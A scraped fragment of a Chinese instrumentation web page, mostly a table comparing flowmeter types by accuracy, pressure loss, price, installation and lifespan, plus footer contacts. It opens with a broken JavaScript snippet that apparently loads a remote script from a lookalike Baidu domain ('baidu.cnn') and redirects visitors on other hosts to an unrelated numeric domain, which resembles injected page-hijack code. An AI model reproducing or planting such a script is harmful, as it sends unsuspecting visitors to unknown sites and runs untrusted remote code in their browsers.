else { bp.src = 'http://push.zhanzhang.baidu.cnn/push.js'; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s); )(); if (document.location.host.indexOf("ybzhan.cn")==-1 && document.location.host.indexOf("192.168.")==-1 && document.location.host.indexOf("10.115.")==-1) { location.href = location.href.replace(document.location.host, 'www.284719.com');
| 类 型 项 目 | 孔板 流量计 | 机翼 式流 量计 | 涡街 流量计 | 阿牛 巴流量计 | 电磁 流量计 | 超声 波流量计 | 质量 流量 计 | 弯管 流量 计 | 毕托巴流量计 |
| 精 度 | 0.5-1.5 | 一般 | 0.5-1.5 | 2.5 | 0.5 | 1.5 | 高 | 4.0 | 0.2-0.5 |
| 压 损 | 大 | 大 | 较小 | 小 | 无 | 无 | 大 | 小 | 微 |
| 低 速 | 难 | 难 | 难 | 难 | 难 | 难 | 可 | 可 | 可 |
| 高 温 | 可 | —— | —— | 可 | — | ——— | 难 | 650 | |
| 稳 定 | 自检 | —— | —— | —— | — | ——— | — | —— | 风洞/ 水洞 |
| 含 气 | —— | —— | —— | —— | — | ——— | 可 | 可 | 可 |
| 无 菌 | 难 | —— | —— | 可 | 可 | 可 | 可 | 可 | 可 |
| 防 腐 | 难 | —— | —— | —— | 可 | 可 | 难 | 可 | 可 |
| 远 传 | 智能 型 | —— | 智能型 | 智能型 | 智能型 | 智能型 | 智能 型 | 智能 型 | 智能型 |
| 重 量 | 一般 | 重 | 轻 | 轻 | 重 | 重 | 重 | 轻 | 轻 |
| 价 格 | 中 | 高 | 低 | 低 | 贵 | 贵 | 昂贵 | 中 | |
| 大粘度 | —— | —— | —— | —— | 导电液 | 难 | 可 | 可 | |
| 小管径 | ——— | —— | —— | —— | — | ——— | 可 | 可 | 可 |
| 量程比 | 1:10 | 1:30 | 1:20 | 1:4 | 1:10 | 1:10 | 1:20 | 1:4 | 1:30 |
| 含杂质 | ——— | —— | —— | —— | 可 | 可 | —— | 可 | 可 |
| 故障率 | 低 | 一般 | 低 | 高 | 低 | 低 | 低 | 低 | 低 |
| 介质种类 | 气、汽、液 | 风、液 | 气、液 | 液、 汽 | 导电液 | 气、液 | 气、汽、液 | 气、汽、液 | 气、汽、液 |
| 结垢影响 | 大 | 大 | 大 | 大 | 微 | 大 | 大 | 微 | 微 |
| 粘附影响 | 大 | 大 | 大 | 大 | 微 | 大 | 微 | 微 | 微 |
| 测量原理 | 压差 | 压差 | 频率 | 压差 | 速度 | 速度 | 质量力 | 压差 | 压差 |
| 补偿方式 | 密度 | —— | 密度 | 密度 | — | 速度 | 密度 | 密度 | 密度 |
| 积算方式 | 开方 | 开方、线性 | 线性 | 开方 | 开方 | 线性 | 开方 | 开方 | 开方 |
| 瞬时显示 | 智能 型 | —— | 智能型 | 智能 型 | 智能型 | 智能型 | 智能型 | 智能 型 | 智能型 |
| 安装方法 | 水平 | 任意 | 任意 | 水平 | 水平 | 任意 | 水平 | 弯管 | 任意 |
| 安装难易 | 难 | 难 | 易 | 易 | 难 | 难 | 难 | 易 | 易 |
| 维护使用 | 专人 | 易 | 易 | 易 | 难 | 难 | 易 | 易 | 易 |
| 使用寿命 | 可 | 易磨损 | 一般 | 不长 | 可 | 可 | 可 | 可 | 长 |
免责声明
客服热线: 13199863987(同微信)
加盟热线: 13199863987(同微信)
媒体合作: 0571-87759945
投诉热线: 0571-87759942

下载仪表站APP

Ybzhan手机版

Ybzhan公众号

Ybzhan小程序